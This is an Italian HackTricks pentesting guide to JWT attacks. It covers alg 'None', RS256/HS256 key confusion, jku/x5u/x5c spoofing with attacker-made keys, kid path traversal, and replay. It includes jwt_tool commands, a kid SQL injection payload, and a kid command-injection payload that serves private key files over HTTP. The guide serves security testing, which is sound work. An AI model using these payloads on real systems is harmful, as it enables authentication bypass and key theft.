18 KiB
Vulnerabilità JWT (Json Web Tokens)
{% hint style="success" %}
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Se sei interessato a una carriera nel hacking e a hackare l'inhackabile - stiamo assumendo! (richiesta di polacco fluente scritto e parlato).
{% embed url="https://www.stmcyber.com/careers" %}
Parte di questo post si basa sul fantastico post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autore del grande strumento per pentestare i JWT https://github.com/ticarpi/jwt_tool
Vittorie Veloci
Esegui jwt_tool in modalità All Tests!
e aspetta le righe verdi.
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web controlla in modo errato il JWT:
Poi, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta usando jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Puoi anche utilizzare l'Estensione Burp SignSaboteur per lanciare attacchi JWT da Burp.
Modifica i dati senza modificare nulla
Puoi semplicemente manomettere i dati lasciando la firma così com'è e controllare se il server sta verificando la firma. Prova a cambiare il tuo nome utente in "admin", ad esempio.
La firma del token viene controllata?
Per verificare se la firma di un JWT viene verificata:
- Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori dettagliati dovrebbero essere esaminati.
- Un cambiamento nella pagina restituita indica anche una verifica.
- Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con la manomissione delle affermazioni del payload.
Origine
È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.
- I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, necessitando ulteriori indagini.
- I token che originano dal lato server indicano un processo sicuro.
Durata
Controlla se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
Brute-force HMAC secret
Modifica l'algoritmo in None
Imposta l'algoritmo utilizzato come "None" e rimuovi la parte della firma.
Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e per cambiare diversi valori all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").
Cambia l'algoritmo RS256(asimmetrico) in HS256(simmetrico) (CVE-2016-5431/CVE-2016-10555)
L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ogni messaggio.
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.
Se cambi l'algoritmo da RS256 a HS256, il codice di backend utilizza la chiave pubblica come chiave segreta e poi utilizza l'algoritmo HS256 per verificare la firma.
Quindi, utilizzando la chiave pubblica e cambiando RS256 in HS256, potremmo creare una firma valida. Puoi recuperare il certificato del server web eseguendo questo:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nuova chiave pubblica all'interno dell'intestazione
Un attaccante incorpora una nuova chiave nell'intestazione del token e il server utilizza questa nuova chiave per verificare la firma (CVE-2018-0114).
Questo può essere fatto con l'estensione "JSON Web Tokens" di Burp.
(Invia la richiesta al Repeater, all'interno della scheda JSON Web Token seleziona "CVE-2018-0114" e invia la richiesta).
Spoofing JWKS
Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che utilizzano un'affermazione di intestazione "jku". Questa affermazione dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
- Valutazione dei Token con Intestazione "jku":
- Verifica l'URL dell'affermazione "jku" per assicurarti che porti al file JWKS appropriato.
- Modifica il valore "jku" del token per indirizzarlo verso un servizio web controllato, consentendo l'osservazione del traffico.
- Monitoraggio per Interazione HTTP:
- Osservare le richieste HTTP al tuo URL specificato indica i tentativi del server di recuperare le chiavi dal link fornito.
- Quando si utilizza
jwt_tool
per questo processo, è fondamentale aggiornare il filejwtconf.ini
con la tua posizione JWKS personale per facilitare il test. - Comando per
jwt_tool
: - Esegui il seguente comando per simulare lo scenario con
jwt_tool
:
python3 jwt_tool.py JWT_HERE -X s
Panoramica dei Problemi Kid
Un'affermazione di intestazione opzionale nota come kid
è utilizzata per identificare una chiave specifica, che diventa particolarmente vitale in ambienti in cui esistono più chiavi per la verifica della firma del token. Questa affermazione aiuta a selezionare la chiave appropriata per verificare la firma di un token.
Rivelare la Chiave tramite "kid"
Quando l'affermazione kid
è presente nell'intestazione, è consigliabile cercare nella directory web il file corrispondente o le sue variazioni. Ad esempio, se viene specificato "kid":"key/12345"
, i file /key/12345 e /key/12345.pem dovrebbero essere cercati nella radice web.
Traversata del Percorso con "kid"
L'affermazione kid
potrebbe anche essere sfruttata per navigare attraverso il file system, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore kid
per mirare a file o servizi specifici. Alterare il JWT per cambiare il valore kid
mantenendo la firma originale può essere realizzato utilizzando il flag -T
in jwt_tool, come dimostrato di seguito:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space
file in Linux systems, known to contain the value 2, can be used in the kid
parameter with 2 as the symmetric password for JWT generation.
SQL Injection via "kid"
Se il contenuto del claim kid
viene utilizzato per recuperare una password da un database, un'iniezione SQL potrebbe essere facilitata modificando il payload kid
. Un esempio di payload che utilizza l'iniezione SQL per alterare il processo di firma del JWT include:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Questa alterazione costringe l'uso di una chiave segreta nota, ATTACKER
, per la firma del JWT.
OS Injection through "kid"
Uno scenario in cui il parametro kid
specifica un percorso di file utilizzato all'interno di un contesto di esecuzione di comandi potrebbe portare a vulnerabilità di Esecuzione Remota di Codice (RCE). Iniettando comandi nel parametro kid
, è possibile esporre chiavi private. Un esempio di payload per ottenere RCE e esposizione della chiave è:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku sta per JWK Set URL.
Se il token utilizza un claim di Header “jku” allora controlla l'URL fornito. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la Chiave Pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Poi puoi usare ad esempio jwt.io per creare il nuovo JWT con le chiavi pubbliche e private create e puntando il parametro jku al certificato creato. Per creare un certificato jku valido, puoi scaricare quello originale e cambiare i parametri necessari.
Puoi ottenere i parametri "e" e "n" da un certificato pubblico usando:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato di certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno il precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. La sicurezza del trasporto è necessaria per trasferire i certificati.
Prova a cambiare questo header in un URL sotto il tuo controllo e verifica se viene ricevuta qualche richiesta. In tal caso, potresti manomettere il JWT.
Per forgiare un nuovo token utilizzando un certificato controllato da te, devi creare il certificato ed estrarre le chiavi pubbliche e private:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Poi puoi usare ad esempio jwt.io per creare il nuovo JWT con le chiavi pubbliche e private create e puntando il parametro x5u al certificato .crt creato.
Puoi anche abusare di entrambe queste vulnerabilità per SSRFs.
x5c
Questo parametro può contenere il certificato in base64:
Se l'attaccante genera un certificato autofirmato e crea un token contraffatto utilizzando la corrispondente chiave privata e sostituisce il valore del parametro "x5c" con il certificato appena generato e modifica gli altri parametri, ovvero n, e e x5t, allora essenzialmente il token contraffatto verrebbe accettato dal server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Chiave Pubblica Incorporata (CVE-2018-0114)
Se il JWT ha incorporato una chiave pubblica come nel seguente scenario:
Utilizzando il seguente script nodejs è possibile generare una chiave pubblica da quei dati:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
È possibile generare una nuova chiave privata/pubblica, incorporare la nuova chiave pubblica all'interno del token e utilizzarla per generare una nuova firma:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Puoi ottenere "n" ed "e" utilizzando questo script nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finalmente, utilizzando la chiave pubblica e privata e i nuovi valori "n" ed "e", puoi utilizzare jwt.io per forgiare un nuovo JWT valido con qualsiasi informazione.
ES256: Rivelare la chiave privata con lo stesso nonce
Se alcune applicazioni utilizzano ES256 e usano lo stesso nonce per generare due jwt, la chiave privata può essere ripristinata.
Ecco un esempio: ECDSA: Rivelare la chiave privata, se viene utilizzato lo stesso nonce (con SECP256k1)
JTI (JWT ID)
Il claim JTI (JWT ID) fornisce un identificatore unico per un token JWT. Può essere utilizzato per prevenire la ripetizione del token.
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusare di questo per ripetere una richiesta (necessitando di inviare 10000 richieste tra ogni ripetizione riuscita).
JWT Registered claims
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Altri attacchi
Attacchi di Relay Cross-service
È stato osservato che alcune applicazioni web si affidano a un servizio JWT fidato per la generazione e gestione dei loro token. Sono stati registrati casi in cui un token, generato per un cliente dal servizio JWT, è stato accettato da un altro cliente dello stesso servizio JWT. Se si osserva l'emissione o il rinnovo di un JWT tramite un servizio di terze parti, dovrebbe essere indagata la possibilità di registrarsi per un account su un altro cliente di quel servizio utilizzando lo stesso nome utente/email. Dovrebbe quindi essere fatto un tentativo di ripetere il token ottenuto in una richiesta al target per vedere se viene accettato.
- Un problema critico potrebbe essere indicato dall'accettazione del tuo token, potenzialmente consentendo la falsificazione dell'account di qualsiasi utente. Tuttavia, va notato che potrebbe essere necessaria l'autorizzazione per test più ampi se ci si registra su un'applicazione di terze parti, poiché questo potrebbe entrare in un'area grigia legale.
Controllo di Scadenza dei Token
La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato che i JWT vengono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e ripetere il JWT di un altro utente potrebbe consentire l'impostazione di quell'utente. L'RFC JWT raccomanda di mitigare gli attacchi di ripetizione JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo di test lo consentono, si consiglia di memorizzare il token e ripeterlo dopo che il tempo di scadenza è passato. Il contenuto del token, inclusa l'analisi del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
- Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché ciò potrebbe implicare che il token non potrebbe mai scadere.
Strumenti
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Se sei interessato a una carriera nel hacking e a hackare l'inhackabile - stiamo assumendo! (richiesta di polacco fluente scritto e parlato).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.